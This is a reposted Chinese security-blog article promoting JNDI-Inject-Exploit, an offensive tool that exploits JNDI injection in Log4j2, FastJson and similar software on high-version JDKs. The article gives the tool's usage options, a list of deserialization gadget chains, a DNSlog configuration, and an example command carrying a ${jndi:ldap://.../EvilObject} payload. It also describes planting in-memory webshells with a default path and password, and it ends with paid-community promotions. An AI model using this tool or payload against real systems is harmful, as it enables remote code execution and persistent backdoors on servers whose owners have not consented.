工具 | FastJson、Jackson、Log4j2、原生JNDI注入漏洞的高版本JDKBypass利用
2023-5-2 23:29:40 Author: 渗透安全团队(查看原文) 阅读量:55 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

免责声明

本工具仅面向合法授权的企业安全测试,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描,如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。

前言

本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类,通过LDAP服务器返回原生Java反序列化数据,受害者(客户端)在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。

ChangeLog

0.3 Version

  • 新增Tomcat一句话内存马

  • 新增Resin一句话内存马

  • 新增漏洞环境


v0.2 Version

  • 修复已知bug

  • 支持从文件中读取HTTP请求


v0.1 Version

  • Gadget探测

  • 回显命令执行

  • 内存马注入

Support

  • 本地gadget探测

  • 回显命令执行

  • Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马

  • Tomcat/Resin 一句话内存马

测试

漏洞环境请转至 v0.3 Version Releases处下载,运行 springWithLog4j-1.0-SNAPSHOT.jar 会在8190端口运行服务,访问首页的超链接后的id参数中存在 Log4j2漏洞。

使用方法

java -jar JNDI-Inject-Exploit-[version]-all.jar

无指定任何参数的情况下将显示帮助信息.

Usage:
java -jar JNDI-Inject-Exploit-0.1-all.jar [options]

Options:
ip LDAP Server IP(如VPS则指定公网IP)
port LDAP Server 监听端口,默认为1389
url 目标URL,指定headers和body参数可发送完整HTTP请求
file 指定HTTP请求数据包的文件,将根据该文件内容构造完整HTTP请求
method 指定HTTP请求方法,默认为GET
headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value
body 指定HTTP请求体内容
proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)

支持探测以下Gadget

  • BeanShell1

  • CommonsBeanutils1

  • CommonsBeanutils2

  • CommonsCollections1

  • CommonsCollections2

  • CommonsCollections3

  • CommonsCollections4

  • CommonsCollections5

  • CommonsCollections6

  • CommonsCollections7

  • CommonsCollections8

  • CommonsCollections9

  • CommonsCollections10

  • CommonsCollectionsK1

  • CommonsCollectionsK2

  • CommonsCollectionsK3

  • CommonsCollectionsK4

  • Groovy1

  • Weblogic2555

  • Jdk7u21

  • ROME

  • Spring1

  • Spring2

Config

使用该工具必须在运行目录下新建 config.properties文件,配置DNSLOG平台信息,以下是示例配置文件。

JNDI注入的漏洞场景为必须出网环境,因此使用Dnslog平台探测Gadget,sleep属性指定发送Gadget Payload后等待Dnslog平台的响应时间(具体数值根据网络环境及Dnslog平台自定义)。

# Dnslog平台名称(非必须)
Platform=ceye
# Dnslog平台查询API
Api=http://api.ceye.io/v1/records?token={token}&type=dns&filter={filter}
# Dnslog平台鉴权Token
Token=xxxx
# Dnslog平台顶级域名
Domain=xxxx.ceye.io
# 等待Dnslog平台响应时间(非必须,默认为5秒)
Sleep=10
# 开启LDAP请求日志打印
EnableLDAPLog=False
# 开启Http请求日志打印
EnableHttpLog=False

Example

文件内容(如果是https的话需要在Host头中添加https://)

从文件中读取HTTP请求进行漏洞利用

LDAP查询的对象名称可为任意字符(示例为EvilObject),LDAPServer拦截客户端搜索结果获取查询名称,并根据该名称返回结果,因此查询任何名称均可运行。

java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168.0.118:8190/log?id=$%7bjndi:ldap://192.168.0.104:1389/EvilObject%7d"

Gadget探测

可利用Gadget信息,如名称中带有 [TomcatEcho] 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 TomcatBehinderFilter 、TomcatGodzillaFilter 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)

回显命令执行

切换为普通命令执行gadget并执行 calc 命令

(目标受害机成功执行命令)

MemoryShell

内存马注入 (默认内存马路径为/favicondemo.ico, 密码为pass1024), 回显Memory shell inject success表示注入成功. (NeoreGeorg不支持自定义密码, 默认密码为pass1024, 路径可自定义)

翻到文章最底部点击“阅读原文”下载链接


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504183&idx=1&sn=3be892b6ea41f6c3bb20ff9bf4dbd4a4&chksm=c1762c98f601a58e959424a6f5b4e129bb7b3565e378bb70baa22e7f08c956a4b80ac3a9b80f#rd
如有侵权请联系:admin#unsafe.sh